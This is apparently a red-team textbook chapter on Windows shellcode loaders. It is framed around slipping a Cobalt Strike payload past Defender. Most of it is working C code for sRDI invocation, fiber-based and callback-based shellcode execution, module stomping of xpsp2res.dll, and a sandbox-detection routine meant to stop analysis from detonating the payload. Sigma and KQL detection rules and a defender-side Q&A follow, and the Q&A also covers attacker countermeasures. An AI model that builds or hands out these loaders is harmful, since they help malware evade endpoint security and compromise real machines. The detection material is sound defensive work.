Shellcode Loaders and Stagers
A loader wraps shellcode in a delivery mechanism that bypasses detection while placing the payload in executable memory and triggering it. The execution primitive, memory backing type, and trigger mechanism are each independent decisions with different detection tradeoffs. This chapter covers sRDI (shellcode reflective DLL injection), fiber-based execution, callback primitives, module stomping, stager architecture, and environmental sandbox detection.
You have a Cobalt Strike shellcode blob. The standard approach (VirtualAlloc RWX + CreateThread) is flagged by Defender before the thread starts. You need a loader that: allocates memory backed by a legitimate module mapping (not a private heap), uses an existing thread to execute (no new thread event), passes environmental checks so sandboxes cannot detonate it ahead of delivery, and compiles to under 15KB from a single C file.
Loader Design Taxonomy
sRDI: Shellcode Reflective DLL Injection
// sRDI converts a DLL to self-loading shellcode.
// The shellcode implements its own mini PE loader:
// 1. Parse its own PE headers
// 2. Allocate memory for the image
// 3. Copy sections
// 4. Fix base relocations
// 5. Resolve import table (via in-memory EAT walk)
// 6. Call DllMain(DLL_PROCESS_ATTACH)
// 7. Call optional exported function (e.g., "Execute")
// The entire DLL + loader is a flat shellcode blob — no LoadLibrary needed.
// Key: because the shellcode resolves everything itself, it has no IAT
// and can be placed in any process at any address.
// Simplified sRDI bootstrap (x64 position-independent):
// (Full implementation: github.com/monoxgas/sRDI)
// Stage 1: GetPC — find our own address without relocs
; x64 assembly bootstrap
; RIP-relative to find start of shellcode
call get_rip
get_rip:
pop rbx ; rbx = address of get_rip label
sub rbx, 5 ; rbx = start of shellcode
; Parse PE headers from rbx
; Find IMAGE_NT_HEADERS at rbx + [rbx+0x3C]
; Allocate preferredBase from OptionalHeader.ImageBase
; Copy sections, apply relocs, resolve imports
; jmp to AddressOfEntryPoint
// C wrapper demonstrating how to invoke sRDI:
#include <windows.h>
extern unsigned char bootstrap[]; // sRDI loader blob
extern unsigned int bootstrap_len;
extern unsigned char payload_dll[]; // DLL converted to shellcode by sRDI.py
extern unsigned int payload_len;
void RunSrdi(void) {
// Allocate RW, write sRDI+payload blob, flip to RX
SIZE_T total = bootstrap_len + payload_len;
LPVOID buf = VirtualAlloc(NULL, total, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(buf, bootstrap, bootstrap_len);
memcpy((PBYTE)buf + bootstrap_len, payload_dll, payload_len);
DWORD old;
VirtualProtect(buf, total, PAGE_EXECUTE_READ, &old);
// Execute via fiber (no new thread):
LPVOID fiber = ConvertThreadToFiber(NULL);
LPVOID payloadFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)buf, NULL);
SwitchToFiber(payloadFiber);
DeleteFiber(payloadFiber);
}
Fiber-Based Execution
// Fibers: cooperative user-mode threads. The OS scheduler doesn't manage them —
// they only run when SwitchToFiber() is called. No thread creation event.
// Detection: ConvertThreadToFiber + CreateFiber + SwitchToFiber sequence is
// tracked by some EDRs (it's unusual for non-fiber-aware applications).
BOOL FiberExec(PBYTE shellcode, SIZE_T size) {
// Allocate RW, write, flip to RX
PVOID buf = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(buf, shellcode, size);
DWORD old;
VirtualProtect(buf, size, PAGE_EXECUTE_READ, &old);
// Convert calling thread to fiber (required before CreateFiber)
PVOID mainFiber = ConvertThreadToFiber(NULL);
// Create payload fiber with shellcode as start routine
PVOID scFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)buf, NULL);
// Switch — execution transfers to shellcode; returns here when shellcode calls
// SwitchToFiber(mainFiber) or exits its routine
SwitchToFiber(scFiber);
DeleteFiber(scFiber);
return TRUE;
}
Callback Execution Primitives
// Windows provides many functions that call a user-supplied callback.
// These callback invocations look like normal API calls — the shellcode
// is executed as a callback function pointer, not a new thread.
// The caller appears in the call stack as a legitimate Windows API.
// --- EnumSystemLocalesA ---
EnumSystemLocalesA((LOCALE_ENUMPROCA)shellcode_addr, LCID_INSTALLED);
// Call stack: EnumSystemLocalesA → shellcode (looks like a locale callback)
// --- EnumTimeFormatsEx ---
EnumTimeFormatsEx((TIMEFMT_ENUMPROCEX)shellcode_addr, NULL, 0, 0);
// --- EnumUILanguages ---
EnumUILanguages((UILANGUAGE_ENUMPROCA)shellcode_addr, 0, 0);
// --- FlsAlloc / FlsFree callback ---
// Register shellcode as a Fiber Local Storage callback (called on fiber delete)
DWORD flsIdx = FlsAlloc((PFLS_CALLBACK_FUNCTION)shellcode_addr);
FlsSetValue(flsIdx, (PVOID)1); // set value so callback fires on free
FlsFree(flsIdx); // triggers callback → executes shellcode
// --- SetWindowsHookEx (requires a window in the target process) ---
// HOOKPROC hook = (HOOKPROC)shellcode_addr;
// SetWindowsHookEx(WH_KEYBOARD, hook, NULL, targetThreadId);
// Callback execution avoids CreateThread entirely.
// Detection: an EnumSystemLocalesA call where the callback address points
// to a private (non-module-backed) memory region is anomalous.
// Call stack analysis: shellcode executing "inside" an API callback is
// detectable via unbacked return address analysis.
Module Stomping
// Module stomping: load a legitimate DLL, overwrite its .text section with
// shellcode. The shellcode now lives in MEM_IMAGE memory (legitimate module
// backing type) — memory scans looking for private+execute regions miss it.
BOOL ModuleStomping(PBYTE shellcode, SIZE_T size) {
// Load a rarely-used, low-suspicion DLL
HMODULE hVictim = LoadLibraryExA("xpsp2res.dll", NULL,
DONT_RESOLVE_DLL_REFERENCES);
if (!hVictim) return FALSE;
// Find .text section of the victim DLL
PBYTE base = (PBYTE)hVictim;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
PVOID textAddr = NULL;
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (memcmp(sec->Name, ".text", 5) == 0) {
textAddr = base + sec->VirtualAddress;
break;
}
}
if (!textAddr || size > sec->Misc.VirtualSize) return FALSE;
// Overwrite .text with shellcode
DWORD old;
VirtualProtect(textAddr, size, PAGE_EXECUTE_READWRITE, &old);
memcpy(textAddr, shellcode, size);
VirtualProtect(textAddr, size, PAGE_EXECUTE_READ, &old);
// Execute via callback — call through function pointer to DLL .text
((void(*)())textAddr)();
return TRUE;
}
// Detection: MEM_IMAGE region with modified content vs disk hash.
// Defenders using "module tampering" detection compare in-memory module
// content against a hash of the on-disk DLL. If they differ: alert.
// MDE Advanced Hunting surfaces this via DeviceEvents ImageTampering action.
Stager vs Stageless Architecture
Sandbox-Evasion Environment Checks
// Sandboxes execute samples automatically. Most sandboxes have tell-tale
// characteristics: few processes, short uptime, limited user activity.
// Environmental checks delay or skip execution if not in a real endpoint.
BOOL InSandbox(void) {
// Check 1: system uptime — sandboxes often < 10 minutes
if (GetTickCount64() < 10 * 60 * 1000) return TRUE;
// Check 2: number of running processes — sandbox has < 30 typical
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { .dwSize = sizeof(pe) };
int count = 0;
if (Process32First(snap, &pe))
do { count++; } while (Process32Next(snap, &pe));
CloseHandle(snap);
if (count < 25) return TRUE;
// Check 3: user interaction — cursor must have moved recently
POINT p1, p2;
GetCursorPos(&p1);
Sleep(3000);
GetCursorPos(&p2);
if (p1.x == p2.x && p1.y == p2.y) return TRUE; // no mouse movement
// Check 4: CPUID hypervisor bit (VMware, VirtualBox, Hyper-V sandbox)
int cpuInfo[4];
__cpuid(cpuInfo, 1);
if (cpuInfo[2] & (1 << 31)) return TRUE; // hypervisor bit set
// Check 5: disk size — sandbox VMs typically < 100GB
ULARGE_INTEGER free, total;
GetDiskFreeSpaceExW(L"C:\\", &free, &total, NULL);
if (total.QuadPart < (ULONGLONG)100 * 1024 * 1024 * 1024) return TRUE;
return FALSE; // probably a real machine
}
Detection Engineering
title: Fiber Execution Primitive Used with Shellcode Blob
logsource:
product: windows
category: process_access
detection:
selection:
EventID: 10 # Sysmon
CallTrace|contains:
- 'ConvertThreadToFiber'
- 'CreateFiber'
GrantedAccess: '0x1FFFFF'
condition: selection
level: high
title: Module Stomping — Image Memory Modified
logsource:
product: windows
category: driver_load
detection:
selection:
EventID: 7 # Sysmon image load
Signed: 'false' # or use image tampering alerts
filter_legit:
ImageLoaded|contains:
- '\Windows\System32\'
- '\Program Files\'
condition: selection AND NOT filter_legit
level: medium
-- MDE KQL: detect EnumSystemLocalesA or EnumTimeFormatsEx from private memory
DeviceEvents
| where ActionType in (
"VirtualAllocApiCall", "SetThreadContextApiCall")
| join kind=inner (
DeviceProcessEvents
| where ProcessCommandLine has_any ("EnumSys", "FlsAlloc")
) on DeviceName, InitiatingProcessId
| project Timestamp, DeviceName, InitiatingProcessFileName,
ActionType, ProcessCommandLine
Q&A
What does module stomping detection look like from the defender side, and what data source makes it reliable?
Module stomping detection relies on a data source that most endpoint agents collect: a hash or content comparison of in-memory module mappings versus the on-disk DLL file. When a process has xpsp2res.dll loaded (MEM_IMAGE backed, appears legitimate in the VAD tree), but the actual bytes in the .text section don't match the hash of C:\Windows\System32\xpsp2res.dll, that discrepancy is the detection signal.
MDE surfaces this through the DeviceEvents table with an ActionType of ImageTampering. When the MDE sensor scans module pages and finds content that diverges from the on-disk image (identified by its known Authenticode hash), it generates an alert with the process, module name, and affected virtual address range. This detection does not depend on observing the write operation itself — it fires on the state anomaly at scan time, which means it can catch stomping that happened before the sensor was installed or that patched memory without going through tracked APIs.
The attacker countermeasure is to stomp a module that Windows Update frequently modifies — so defenders can't reliably baseline its content — or to stomp only a small region of a large module where known-good content is absent. However, the most effective counter is to not use module stomping at all for persistence: use it only transiently (stompcode runs, finishes, the DLL is freed), so the stomped state never persists long enough for a scheduled scan to catch it. The defensive counter to that is on-access scanning that validates module integrity at image-load time rather than on a schedule.